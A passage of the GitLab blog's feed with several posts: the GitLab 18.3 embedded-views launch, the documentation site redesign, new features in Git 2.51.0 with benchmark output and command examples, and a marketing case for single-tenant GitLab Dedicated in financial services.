<p>As GitLab projects grow in complexity, teams find themselves navigating between issues, merge requests, epics, and milestones to maintain visibility into work status. The challenge lies in consolidating this information efficiently while ensuring teams have real-time access to project progress without context switching or breaking their flow.
<strong>Launching real-time work status visibility in 18.3</strong>
GitLab 18.3's <a href="https://docs.gitlab.com/user/glql/#embedded-views">embedded views, powered by our powerful GitLab Query Language</a> (GLQL), eliminate context switching by bringing live project data directly into your workflow:</p>
<ul>
<li><strong>Dynamic views:</strong> Insert live GLQL queries in Markdown code blocks throughout wiki pages, epics, issues, and merge requests that automatically refresh with current project states each time you load the page.</li>
<li><strong>Contextual personalization:</strong> Views automatically adapt using functions like <code>currentUser()</code> and <code>today()</code> to show relevant information for whoever is viewing, without manual configuration.</li>
<li><strong>Powerful filtering:</strong> Filter by 25+ fields, including assignee, author, label, milestone, health status, and creation date.</li>
<li><strong>Display flexibility:</strong> Present data as tables, lists, or numbered lists with customizable field selection, item limits, and sort orders to keep your views focused and actionable</li>
</ul>
<p>Unlike fragmented project management approaches, we've designed embedded views to maintain your workflow continuity while providing real-time visibility, enabling teams to make informed decisions without losing focus or switching between multiple tools and interfaces.</p>
<blockquote>
<p>Learn about the <a href="https://about.gitlab.com/releases/2025/08/21/gitlab-18-3-released/">newest features in GitLab 18.3</a>.</p>
</blockquote>
<h2>Get started today</h2>
<p>GitLab 18.3 is available now for GitLab Premium and Ultimate users on GitLab.com and self-managed environments.</p>
<p>GitLab Dedicated customers are now upgraded to 18.2 and will be able to use the features released with GitLab 18.3 next month.</p>
<p>Ready to experience the future of software engineering?<a href="https://docs.gitlab.com/user/gitlab_duo/turn_on_off/#turn-on-beta-and-experimental-features"> Enable beta and experimental features for GitLab Duo</a> and start collaborating with AI agents that understand your complete development context.</p>
<p>New to GitLab? <a href="https://gitlab.com/-/trials/new">Start your free trial</a> today and discover why the future of software engineering is human and AI collaboration, orchestrated through the world's most comprehensive DevSecOps platform.</p>
<p>&lt;p&gt;&lt;small&gt;&lt;em&gt;This blog post contains “forward-looking statements” within the meaning of Section 27A of the Securities Act of 1933, as amended, and Section 21E of the Securities Exchange Act of 1934. Although we believe that the expectations reflected in the forward-looking statements contained in this blog post are reasonable, they are subject to known and unknown risks, uncertainties, assumptions and other factors that may cause actual results or outcomes to be materially different from any future results or outcomes expressed or implied by the forward-looking statements.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Further information on risks, uncertainties, and other factors that could cause actual outcomes and results to differ materially from those included in or contemplated by the forward-looking statements contained in this blog post are included under the caption “Risk Factors” and elsewhere in the filings and reports we make with the Securities and Exchange Commission. We do not undertake any obligation to update or release any revisions to any forward-looking statement or to report any events or circumstances after the date of this blog post or to reflect the occurrence of unanticipated events, except as required by law.&lt;/em&gt;&lt;/small&gt;&lt;/p&gt;</p>
]]></content>
        <author>
            <name>Bill Staples</name>
            <uri>https://about.gitlab.com/blog/authors/bill-staples</uri>
        </author>
        <published>2025-08-21T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[The GitLab documentation site gets a major design overhaul]]></title>
        <id>https://about.gitlab.com/blog/docs-site-design-overhaul/</id>
        <link href="https://about.gitlab.com/blog/docs-site-design-overhaul/"/>
        <updated>2025-08-20T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>The GitLab documentation site now has a completely updated look-and-feel.
What started as a request for targeted design fixes grew into a comprehensive redesign that delivers five major improvements:</p>
<h2>Top five new features</h2>
<p><strong>Dark mode</strong>: The most requested feature is finally here. Toggle between light and dark themes in the upper-right corner
for improved readability and reduced eye strain.</p>
<p><strong>Brand alignment</strong>: Our docs now reflect the modern colors and design language of both the GitLab marketing site and product UI,
creating a cohesive experience across all GitLab properties.</p>
<p><strong>Simplified feedback</strong>: Users can now give thumbs up/down feedback and add comments directly on any documentation page.</p>
<p><strong>Redesigned navigation</strong>: We've moved primary navigation to the top and restructured our left sidebar to make our 2,300+ pages
feel less overwhelming and more discoverable.</p>
<p><strong>Addressed technical debt</strong>: Dozens of small but impactful fixes to typography, spacing, code blocks, and visual inconsistencies
that had accumulated over the years.</p>
<h2>Why now? The foundation for change</h2>
<p>Earlier this year, led by Sarah German, our documentation engineering team completed a critical replatforming project,
migrating from Nanoc to Hugo. While largely invisible to users, this change delivered dramatic performance improvements — 130x faster local builds
and 30x faster full builds — and provided the solid technical foundation needed for these improvements.</p>
<p>This replatforming was essential groundwork that enabled us to focus on user experience enhancements rather than wrestling with outdated infrastructure.</p>
<p>Let's look more closely at the changes.</p>
<h3>Dark mode</h3>
<p>Possibly the biggest news for this release: dark mode is now available across the entire documentation site.
Change the setting in the upper-right corner, and the site will remember your preference.
For many users, dark mode makes content easier to read and reduces eye strain.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617168/gz45eaygeb0nizf1kwyu.png" alt="image of dark mode"></p>
<h3>Brand alignment with marketing site</h3>
<p>The new design creates visual harmony between our documentation and the broader GitLab experience.
We've incorporated GitLab's modern color palette and design elements while maintaining the clean, functional feel users expect from technical documentation.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617230/ialfadj3i3theizk08p5.png" alt="image of new homepage"></p>
<p>The updated homepage focuses on our primary documentation areas, including tutorials and getting started guides that help new users learn GitLab.</p>
<h3>Simplified feedback mechanism</h3>
<p>We've eliminated friction in the feedback process. Instead of requiring users to leave the docs site and create GitLab issues,
they can now provide immediate feedback with thumbs up/down ratings and comments directly on any page.
Scroll down on any documentation page to see this new functionality in action.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617289/rjocpkmqumacaw7thjqi.png" alt="image of feedback area"></p>
<h3>Navigation redesign</h3>
<p>One of our biggest challenges was organizing over 2,300 pages in a way that doesn't overwhelm users.
Our previous single left navigation, while comprehensive, created a daunting experience:</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617332/k75fwr3rhjxfjyxmc49d.png" alt="image of former navigation"></p>
<p>The new approach moves primary navigation to the top, creating shorter, more manageable table of contents sections that feel less overwhelming to traverse:</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617366/wziabrijury9jl5j7ica.png" alt="image of new navigation"></p>
<p>This structure better reflects the relationships between features while making individual sections more digestible.</p>
<h3>Style updates and technical debt</h3>
<p>Over the years, small style inconsistencies had accumulated — inconsistent padding in lists, extra spacing around alerts, and various typography issues.
While these might seem minor, they created a subtly jarring experience for daily users.</p>
<p>Our tabs and code blocks received particular attention, becoming better-defined in the process.</p>
<p>Before, tabs with code looked like this:</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617460/jsa2gz3b2slqu0udrg28.png" alt="image of old tabs with code block"></p>
<p>And now, with a few small tweaks, they look like this:</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617493/jpxiybvnadsex39lyawu.png" alt="image of new tabs with code block"></p>
<p>These &quot;papercut&quot; fixes may be small individually, but collectively they create a much more polished, professional experience.</p>
<h2>What's next?</h2>
<p>This redesign represents how we iterate at GitLab — shipping meaningful improvements while building toward an even better future.
We expect to continue refining the structure and adding features that help users find what they need more easily.</p>
<p>User feedback will drive our next iterations, and with our new simplified feedback mechanism, we're better positioned than ever
to hear directly from our documentation users.</p>
<h2>The team</h2>
<p>This transformation was a true team effort. Kudos to UX Papercuts and Julia Miocene for taking what started as a simple request and turning
it into a comprehensive design vision. Thanks to the engineers in Technical Writing: Sarah German, Pearl Latteier,
and Hiru Fernando, who brought these designs to life.</p>
<p>The new design balances information density with visual clarity, modernizes our site while maintaining usability and accessibility standards,
and represents a significant step forward in both user experience and visual design.</p>
]]></content>
        <author>
            <name>Suzanne Selhorn</name>
            <uri>https://about.gitlab.com/blog/authors/suzanne-selhorn</uri>
        </author>
        <author>
            <name>Sarah German</name>
            <uri>https://about.gitlab.com/blog/authors/sarah-german</uri>
        </author>
        <author>
            <name>Julia Miocene</name>
            <uri>https://about.gitlab.com/blog/authors/julia-miocene</uri>
        </author>
        <published>2025-08-20T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[What’s new in Git 2.51.0?]]></title>
        <id>https://about.gitlab.com/blog/what-s-new-in-git-2-51-0/</id>
        <link href="https://about.gitlab.com/blog/what-s-new-in-git-2-51-0/"/>
        <updated>2025-08-18T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>The Git project recently released <a href="https://lore.kernel.org/git/xmqqikikk1hr.fsf@gitster.g/T/#u">Git 2.51</a>.
Due to summer in the Northern Hemisphere and slower progress, this
release cycle was on the shorter side of 8 weeks (typically a release cycle
lasts about 12 weeks). Let’s look at some notable changes in this release,
including contributions from the Git team at GitLab and also the wider Git
community.</p>
<h2>Performance optimizations for <code>git-push(1)</code> and <code>git-fetch(1)</code></h2>
<p>The <code>git-push(1)</code> and <code>git-fetch(1)</code> commands allow users to synchronize local and remote repositories. Part of the operation involves updating references in the repository. In repositories with many references, this can take significant time, especially for users who work with large development environments, monorepos, or repositories with extensive CI/CD pipelines.</p>
<p>Git reference transactions can include multiple reference updates, but they follow an all-or-nothing approach. If any single update within the transaction fails, the entire transaction fails and none of the reference updates are applied. But reference updates as part of <code>git-push(1)</code> and <code>git-fetch(1)</code> are allowed to fail, which allows repositories to synchronize a subset of references even in the case where a different subset has diverged. To facilitate this behavior, Git creates a separate transaction for each reference update, allowing some transactions to fail while the rest succeed.</p>
<p>Creating a separate transaction per update incurs significant overhead, as each transaction includes an initiation and teardown phase and also checks for whether there are conflicting reference names. The “reftable” backend also performs auto-compaction at the end of a transaction, so multiple transactions would trigger multiple auto-compactions, which would drastically increase the latency of the command.</p>
<p>In Git 2.51.0, these commands now use batched updates instead of separate transactions. Batched updates allow updating multiple references under a single transaction, while still allowing some updates to fail. This removes the overhead and scales better with the number of references to be updated, since only a single transaction is used. This significantly improves the performance of the “reftable” backend, which now outperforms the “files” backend. Users can reap these performance improvements without needing to make any changes.</p>
<p>For <code>git-fetch(1)</code> we see a <em>22x performance improvement for the “reftable” backend</em> and <em>1.25x improvement for the “files” backend</em> when used in a repository with 10,000 references.</p>
<pre><code>
Benchmark 1: fetch: many refs (refformat = reftable, refcount = 10000, revision = master)
  Time (mean ± σ):      3.403 s ±  0.775 s    [User: 1.875 s, System: 1.417 s]
  Range (min … max):    2.454 s …  4.529 s    10 runs

Benchmark 2: fetch: many refs (refformat = reftable, refcount = 10000, revision = HEAD)
  Time (mean ± σ):     154.3 ms ±  17.6 ms    [User: 102.5 ms, System: 56.1 ms]
  Range (min … max):   145.2 ms … 220.5 ms    18 runs

Summary
  fetch: many refs (refformat = reftable, refcount = 10000, revision = HEAD) ran
   22.06 ± 5.62 times faster than fetch: many refs (refformat = reftable, refcount = 10000, revision = master)

Benchmark 1: fetch: many refs (refformat = files, refcount = 10000, revision = master)
  Time (mean ± σ):     605.5 ms ±   9.4 ms    [User: 117.8 ms, System: 483.3 ms]
  Range (min … max):   595.6 ms … 621.5 ms    10 runs

Benchmark 2: fetch: many refs (refformat = files, refcount = 10000, revision = HEAD)
  Time (mean ± σ):     485.8 ms ±   4.3 ms    [User: 91.1 ms, System: 396.7 ms]
  Range (min … max):   477.6 ms … 494.3 ms    10 runs

Summary
  fetch: many refs (refformat = files, refcount = 10000, revision = HEAD) ran
    1.25 ± 0.02 times faster than fetch: many refs (refformat = files, refcount = 10000, revision = master)
</code></pre>
<p>For <code>git-push(1)</code> we see a <em>18x performance improvement for the reftable backend</em> and <em>1.21x improvement for the “files” backend</em> when used in a repository with 10,000 references.</p>
<pre><code>
Benchmark 1: push: many refs (refformat = reftable, refcount = 10000, revision = master)
  Time (mean ± σ):      4.276 s ±  0.078 s    [User: 0.796 s, System: 3.318 s]
  Range (min … max):    4.185 s …  4.430 s    10 runs

Benchmark 2: push: many refs (refformat = reftable, refcount = 10000, revision = HEAD)
  Time (mean ± σ):     235.4 ms ±   6.9 ms    [User: 75.4 ms, System: 157.3 ms]
  Range (min … max):   228.5 ms … 254.2 ms    11 runs

Summary
  push: many refs (refformat = reftable, refcount = 10000, revision = HEAD) ran
   18.16 ± 0.63 times faster than push: many refs (refformat = reftable, refcount = 10000, revision = master)

Benchmark 1: push: many refs (refformat = files, refcount = 10000, revision = master)
  Time (mean ± σ):      1.121 s ±  0.021 s    [User: 0.128 s, System: 0.975 s]
  Range (min … max):    1.097 s …  1.156 s    10 runs

Benchmark 2: push: many refs (refformat = files, refcount = 10000, revision = HEAD)
  Time (mean ± σ):     927.9 ms ±  22.6 ms    [User: 99.0 ms, System: 815.2 ms]
  Range (min … max):   903.1 ms … 978.0 ms    10 runs

Summary
  push: many refs (refformat = files, refcount = 10000, revision = HEAD) ran
    1.21 ± 0.04 times faster than push: many refs (refformat = files, refcount = 10000, revision = master)
</code></pre>
<p>This <a href="https://lore.kernel.org/git/20250514-501-update-git-fetch-1-to-use-partial-transactions-v1-0-7c65f46493d4@gmail.com/">project</a> was led by <a href="https://gitlab.com/knayakgl">Karthik Nayak</a>.</p>
<h2>Planning towards Git 3.0</h2>
<p>11 years ago, Git 2.0 was released, which was the last major version release of Git. While we don’t have a specific timeline for the next major Git release, this release includes decisions made towards Git 3.0.</p>
<p>The Git 3.0 release planning allows us to plan for and implement breaking changes and communicate them to the extended Git community. Next to documentation, Git can also be compiled with these breaking changes for those who want to experiment with these changes. More information can be found in the <a href="https://gitlab.com/gitlab-org/git/-/blob/master/Documentation/BreakingChanges.adoc">BreakingChanges document</a>.</p>
<p>The Git 2.51.0 release makes some significant changes towards Git 3.0.</p>
<h3>Reftable as the default reference backend</h3>
<p>In the <a href="https://gitlab.com/gitlab-org/git/-/blob/master/Documentation/RelNotes/2.45.0.adoc?ref_type=heads">Git 2.45.0</a> release, the “reftable” format was introduced as a new backend for storing references like branches or tags in Git, which fixes many of the issues with the existing &quot;files&quot; backend. Please read our <a href="https://about.gitlab.com/blog/a-beginners-guide-to-the-git-reftable-format/">beginner's guide to how reftables work</a> for more insight into the “reftable” backend.</p>
<p>The Git 2.51.0 release marks the switch to using the &quot;reftable&quot; format as default in Git 3.0 for newly created repositories and also wires up the change behind a feature flag. The “reftable” format provides the following improvements over the traditional “files” backend:</p>
<ul>
<li>
<p>It is impossible to store two references that only differ in casing on case-insensitive filesystems with the &quot;files&quot; format. This issue is common on Windows and macOS platforms. As the &quot;reftable&quot; backend does not use filesystem paths to encode reference names this problem goes away.</p>
</li>
<li>
<p>Similarly, macOS normalizes path names that contain unicode characters, which has the consequence that you cannot store two names with unicode characters that are encoded differently with the &quot;files&quot; backend. Again, this is not an issue with the &quot;reftable&quot; backend.</p>
</li>
<li>
<p>Deleting references with the &quot;files&quot; backend requires Git to rewrite the complete &quot;packed-refs&quot; file. In large repositories with many references this file can easily be dozens of megabytes in size; in extreme cases it may be gigabytes. The &quot;reftable&quot; backend uses tombstone markers for deleted references and thus does not have to rewrite all of its data.</p>
</li>
<li>
<p>Repository housekeeping with the &quot;files&quot; backend typically performs all-into-one repacks of references. This can be quite expensive, and consequently housekeeping is a tradeoff between the number of loose references that accumulate and slow down operations that read references, and compressing those loose references into the &quot;packed-refs&quot; file. The &quot;reftable&quot; backend uses geometric compaction after every write, which amortizes costs and ensures that the backend is always in a well-maintained state.</p>
</li>
<li>
<p>Operations that write multiple references at once are not atomic with the &quot;files&quot; backend. Consequently, Git may see in-between states when it reads references while a reference transaction is in the process of being committed to disk.</p>
</li>
<li>
<p>Writing many references at once is slow with the &quot;files&quot; backend because every reference is created as a separate file. The &quot;reftable&quot; backend significantly outperforms the &quot;files&quot; backend by multiple orders of magnitude.</p>
</li>
<li>
<p>The “reftable” backend uses a binary format with prefix compression for reference names. As a result, the format uses less space compared to the &quot;packed-refs&quot; file.</p>
</li>
</ul>
<p>This project was led by <a href="https://gitlab.com/pks-gitlab">Patrick Steinhardt</a>.</p>
<h3>SHA-256 as the default hash function</h3>
<p>The Git version control system stores objects in a content-addressable filesystem. This means it uses the hash of an object to address content such as files, directories, and revisions, unlike traditional filesystems, which use sequential numbers. Using a hash function has the following advantages:</p>
<ul>
<li>
<p>Easy integrity checks as a single bit flip would change the hash output completely.</p>
</li>
<li>
<p>Fast object lookup as objects can be indexed by their hash.</p>
</li>
<li>
<p>Object names can be signed and third parties can trust the hash to address the signed object and all objects it references.</p>
</li>
<li>
<p>Communication using Git protocol and out of band communication methods have a short reliable string that can be used to reliably address stored content.</p>
</li>
</ul>
<p>Since its inception, Git has used the SHA-1 hashing algorithm. However, security researchers have discovered some flaws in SHA-1, specifically the <a href="https://shattered.io">SHAttered attack</a>, which shows a practical SHA-1 hash collision. We moved to using a hardened SHA-1 implementation by default since Git 2.13.0. However, SHA-1 is still a weak hashing algorithm and it is only a matter of time before additional attacks will further reduce its security.</p>
<p>SHA-256 was identified as the successor to SHA-1 in late 2018. Git 2.51.0 marks it as the default hash algorithm to be used in Git 3.0.</p>
<p>This project was led by <a href="https://github.com/bk2204">brian m. carlson</a>.</p>
<h3>Removal of <code>git-whatchanged(1)</code></h3>
<p>The <code>git-whatchanged(1)</code> command shows logs with differences each commit introduces. While this is now succeeded by <code>git log --raw</code>, the command was kept around for historical reasons.</p>
<p>Git 2.51.0 requires users of the command to explicitly use the <code>--i-still-use-this</code> flag to capture any users who still use the deprecated command, and also marks the command for removal in Git 3.0.</p>
<p>This project was led by <a href="https://simple.wikipedia.org/wiki/Junio_Hamano">Junio C Hamano</a>.</p>
<h2><code>git switch</code> and <code>git restore</code> are no longer experimental</h2>
<p>The <code>git-checkout(1)</code> command can be used for multiple different use cases. It can be used for switching references:</p>
<pre><code>$ git status
On branch master
Your branch is up to date with 'origin/master'.

nothing to commit, working tree clean

$ git checkout next
Switched to branch 'next'
Your branch is up to date with 'origin/next'.
</code></pre>
<p>Or for restoring files:</p>
<pre><code>$ echo &quot;additional line&quot; &gt;&gt; git.c

$ git status
On branch master
Your branch is up to date with 'origin/master’.

Changes not staged for commit:
  (use &quot;git add &lt;file&gt;...&quot; to update what will be committed)
  (use &quot;git restore &lt;file&gt;...&quot; to discard changes in working directory)
    modified:   git.c

no changes added to commit (use &quot;git add&quot; and/or &quot;git commit -a&quot;)

$ git checkout git.c
Updated 1 path from the index

$ git status
On branch master
Your branch is up to date with 'origin/master’.

nothing to commit, working tree clean
</code></pre>
<p>For new users of Git, this can cause a lot of confusion. So in Git 2.33.0, these were split into two new commands, <code>git-switch(1)</code> and <code>git-restore(1)</code>.</p>
<p>The <code>git-switch(1)</code> command allows users to switch to a specific branch:</p>
<pre><code>$ git status
On branch master
Your branch is up to date with 'origin/master'.

nothing to commit, working tree clean

$ git switch next
Switched to branch 'next'
Your branch is up to date with 'origin/next'.
</code></pre>
<p>And the <code>git-restore(1)</code> command allows users to restore working tree files:</p>
<pre><code>$ echo &quot;additional line&quot; &gt;&gt; git.c

$ git status
On branch master
Your branch is up to date with 'origin/master’.

Changes not staged for commit:
  (use &quot;git add &lt;file&gt;...&quot; to update what will be committed)
  (use &quot;git restore &lt;file&gt;...&quot; to discard changes in working directory)
    modified:   git.c

no changes added to commit (use &quot;git add&quot; and/or &quot;git commit -a&quot;)

$ git restore git.c

$ git status
On branch master
Your branch is up to date with 'origin/master’.

nothing to commit, working tree clean
</code></pre>
<p>While the two commands have existed since 2019, they were marked as experimental. The effect is that the Git project doesn’t guarantee backwards compatibility for those commands: the behavior may change at any point in time. While the intent originally was to stabilize those commands after a couple of releases, this hasn’t happened up to this point.</p>
<p>This has led to several discussions on the Git mailing list where users are unsure whether they can start using these new commands, or whether they might eventually go away again. But given that no significant changes have ever been proposed, and that some users are already using these commands, we have decided to no longer declare them as experimental in Git 2.51.</p>
<p>This project was led by <a href="https://gitlab.com/justintobler">Justin Tobler</a>.</p>
<h2><code>git for-each-ref(1)</code> receives pagination support</h2>
<p>The <code>git for-each-ref</code> command is used to list all references present in the repository. As it is part of the plumbing layer of Git, this command is frequently used for example by hosting forges to list references that exist in the repository in their UI. But as repositories grow, it becomes less realistic to list all references at once – after all, the largest repositories may contain millions of them! So instead, forges tend to paginate the references.</p>
<p>This surfaces an important gap: <code>git-for-each-ref</code> does not know to skip references from previous pages that have already been shown. Consequently, it may have to list a large number of uninteresting references before it finally starts to yield the references required for the current page. This is inefficient and leads to higher-than-necessary latency or even timeouts.</p>
<p>Git 2.51.0 supports a new <code>--start-after</code> flag for <code>git for-each-ref</code>, which allows paginating the output. This can also be combined with the <code>--count</code> flag to iterate over a batch of references.</p>
<pre><code>$ git for-each-ref --count=10
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-001
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-002
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-003
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-004
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-005
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-006
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-007
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-008
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-009
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-010

$ git for-each-ref --count=10 --start-after=refs/heads/branch-010
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-011
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-012
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-013
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-014
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-015
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-016
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-017
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-018
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-019
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-020
</code></pre>
<p>This project was led by <a href="https://gitlab.com/knayakgl">Karthik Nayak</a>.</p>
<h2>What's next?</h2>
<p>Ready to experience these improvements? Update to Git 2.51.0 and start using <code>git switch</code> and <code>git restore</code> in your daily workflow.</p>
<p>For GitLab users, these performance enhancements will automatically improve your development experience once your Git version is updated.</p>
<p>Learn more in the <a href="https://lore.kernel.org/git/xmqqikikk1hr.fsf@gitster.g/T/#u">official Git 2.51.0 release notes</a> and explore our <a href="https://about.gitlab.com/blog/tags/git/">complete archive of Git development coverage</a>.</p>
]]></content>
        <author>
            <name>Karthik Nayak</name>
            <uri>https://about.gitlab.com/blog/authors/karthik-nayak</uri>
        </author>
        <published>2025-08-18T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Why financial services choose single-tenant SaaS]]></title>
        <id>https://about.gitlab.com/blog/why-financial-services-choose-single-tenant-saas/</id>
        <link href="https://about.gitlab.com/blog/why-financial-services-choose-single-tenant-saas/"/>
        <updated>2025-08-14T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Walk into any major financial institution and you'll see the contradiction immediately. Past the armed guards, through the biometric scanners, beyond the reinforced walls and multiple security checkpoints, you'll find developers building the algorithms that power global finance — on shared infrastructure alongside millions of strangers.</p>
<p>The software powering today's financial institutions is anything but ordinary. It includes credit risk models that protect billions in assets, payment processing algorithms handling millions of transactions, customer intelligence platforms that drive business strategy, and regulatory systems ensuring operational compliance  — all powered by source code that serves as both operational core and strategic asset.</p>
<h2>When shared infrastructure becomes systemic risk</h2>
<p>The rise of software-as-a-service platforms has created an uncomfortable reality for financial institutions. Every shared tenant becomes an unmanaged third-party risk, turning platform-wide incidents into industry-wide disruptions. This is the exact kind of concentration risk drawing increasing attention from regulators.</p>
<p>JPMorgan Chase's Chief Information Security Officer Patrick Opet recently issued a stark warning to the industry in an <a href="https://www.jpmorgan.com/technology/technology-blog/open-letter-to-our-suppliers">open letter</a> to third-party suppliers. He highlighted how SaaS adoption &quot;is creating a substantial vulnerability that is weakening the global economic system&quot; by embedding &quot;concentration risk into global critical infrastructure.&quot; The letter emphasizes that &quot;an attack on one major SaaS or PaaS provider can immediately ripple through its customers,” creating exactly the systemic risk that multi-tenant cloud platforms for source code management, CI builds, CD deployments, and security scanning introduce.</p>
<p>Consider the regulatory complexity this creates. In shared environments, your compliance posture becomes hostage to potential incidents impacting other tenants as well as the concentration risks of large attack surface providers. A misconfiguration affecting any organization on the platform can trigger wider impact across the entire ecosystem.</p>
<p>Data sovereignty challenges compound this risk. Shared platforms distribute workloads across multiple regions and jurisdictions, often without granular control over where your source code executes. For institutions operating under strict regulatory requirements, this geographic distribution can create compliance gaps that are difficult to remediate.</p>
<p>Then there's the amplification effect. Every shared tenant effectively becomes an indirect third-party risk to your operations. Their vulnerabilities increase your attack surface. Their incidents can impact your availability. Their compromises can affect your environment.</p>
<h2>Purpose-built for what matters most</h2>
<p>GitLab recognizes that your source code deserves the same security posture as your most sensitive customer data. Rather than forcing you to choose between cloud-scale efficiency and enterprise-grade security, GitLab delivers both through <a href="https://about.gitlab.com/dedicated/">GitLab Dedicated</a>, purpose-built infrastructure that maintains complete isolation.</p>
<p>Your development workflows, source code <a href="https://docs.gitlab.com/user/project/repository/">repositories</a>, and <a href="https://docs.gitlab.com/ci/pipelines/">CI/CD pipelines</a> run in an environment exclusively dedicated to your organization. The <a href="https://docs.gitlab.com/administration/dedicated/hosted_runners/">hosted runners</a> for GitLab Dedicated exemplify this approach. These runners connect securely to your data center through outbound private links, allowing access to your private services without exposing any traffic to the public internet. The <a href="https://docs.gitlab.com/runner/runner_autoscale/">auto-scaling architecture</a> provides the performance you need, without compromising security or control.</p>
<h2>Rethinking control</h2>
<p>For financial institutions, minimizing shared risk is only part of the equation — true resilience requires precise control over how systems operate, scale, and comply with regulatory frameworks. GitLab Dedicated enables comprehensive data sovereignty through multiple layers of customer control. You maintain complete authority over <a href="https://docs.gitlab.com/administration/dedicated/encryption/#encrypted-data-at-rest">encryption keys</a> through <a href="https://docs.gitlab.com/administration/dedicated/encryption/#bring-your-own-key-byok">bring-your-own-key (BYOK)</a> capabilities, ensuring that sensitive source code and configuration data remains accessible only to your organization. Even GitLab cannot access your encrypted data without your keys.</p>
<p><a href="https://docs.gitlab.com/subscriptions/gitlab_dedicated/data_residency_and_high_availability/">Data residency</a> becomes a choice rather than a constraint. You select your preferred AWS region to meet regulatory requirements and organizational data governance policies, maintaining full control over where your sensitive source code and intellectual property are stored.</p>
<p>This control extends to <a href="https://docs.gitlab.com/user/compliance/compliance_frameworks/">compliance frameworks</a> that financial institutions require. The platform provides <a href="https://docs.gitlab.com/user/compliance/audit_events/">comprehensive audit trails</a> and logging capabilities that support compliance efforts for financial services regulations like <a href="https://about.gitlab.com/compliance/sox-compliance/">Sarbanes-Oxley</a> and <a href="https://www.ftc.gov/business-guidance/privacy-security/gramm-leach-bliley-act">GLBA Safeguards Rule</a>.</p>
<p>When compliance questions arise, you work directly with GitLab's dedicated support team — experienced professionals who understand the regulatory challenges that organizations in highly regulated industries face.</p>
<h2>Operational excellence without operational overhead</h2>
<p>GitLab Dedicated maintains <a href="https://docs.gitlab.com/subscriptions/gitlab_dedicated/data_residency_and_high_availability/">high availability</a> with <a href="https://docs.gitlab.com/subscriptions/gitlab_dedicated/">built-in disaster recovery</a>, ensuring your development operations remain resilient even during infrastructure failures. The dedicated resources scale with your organization's needs without the performance variability that shared environments introduce.</p>
<p>The <a href="https://docs.gitlab.com/subscriptions/gitlab_dedicated/maintenance/">zero-maintenance approach</a> to CI/CD infrastructure eliminates a significant operational burden. Your teams focus on development while GitLab manages the underlying infrastructure, auto-scaling, and maintenance — including rapid security patching to protect your critical intellectual property from emerging threats. This operational efficiency doesn't come at the cost of security: the dedicated infrastructure provides enterprise-grade controls while delivering cloud-scale performance.</p>
<h2>The competitive reality</h2>
<p>While some institutions debate infrastructure strategies, industry leaders are taking decisive action. <a href="https://about.gitlab.com/press/releases/2022-11-30-gitlab-dedicated-launches-to-meet-complex-compliance-requirements/">NatWest Group</a>, one of the UK's largest financial institutions, chose GitLab Dedicated to transform their engineering capabilities:</p>
<blockquote>
<p><em>&quot;NatWest Group is adopting GitLab Dedicated to enable our engineers to use a common cloud engineering platform; delivering new customer outcomes rapidly, frequently and securely with high quality, automated testing, on demand infrastructure and straight-through deployment. This will significantly enhance collaboration, improve developer productivity and unleash creativity via a 'single-pane-of-glass' for software development.&quot;</em></p>
<p><strong>Adam Leggett</strong>, Platform Lead - Engineering Platforms, NatWest</p>
</blockquote>
<h2>The strategic choice</h2>
<p>The most successful financial institutions face a unique challenge: They have the most to lose from shared infrastructure risks, but also the resources to architect better solutions.</p>
<p><strong>The question that separates industry leaders from followers:</strong> Will you accept shared infrastructure risks as the price of digital transformation, or will you invest in infrastructure that treats your source code with the strategic importance it deserves?</p>
<p>Your trading algorithms aren't shared. Your risk models aren't shared. Your customer data isn't shared.</p>
<p><strong>Why is your development platform shared?</strong></p>
<p><em>Ready to treat your source code like the strategic asset it is? <a href="https://about.gitlab.com/solutions/finance/">Let’s chat</a> about how GitLab Dedicated provides the security, compliance, and performance that financial institutions demand — without the compromises of shared infrastructure.</em></p>
]]></content>
        <author>
            <name>George Kichukov</name>
            <uri>https://about.gitlab.com/blog/authors/george-kichukov</uri>
        </author>
        <author>
            <name>Allie Holland</name>
            <uri>https://about.gitlab.com/blog/authors/allie-holland</uri>
        </author>
        <published>2025-08-14T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Custom rules in GitLab Duo Agentic Chat for greater developer efficiency]]></title>
        <id>https://about.gitlab.com/blog/custom-rules-duo-agentic-chat-deep-dive/</id>
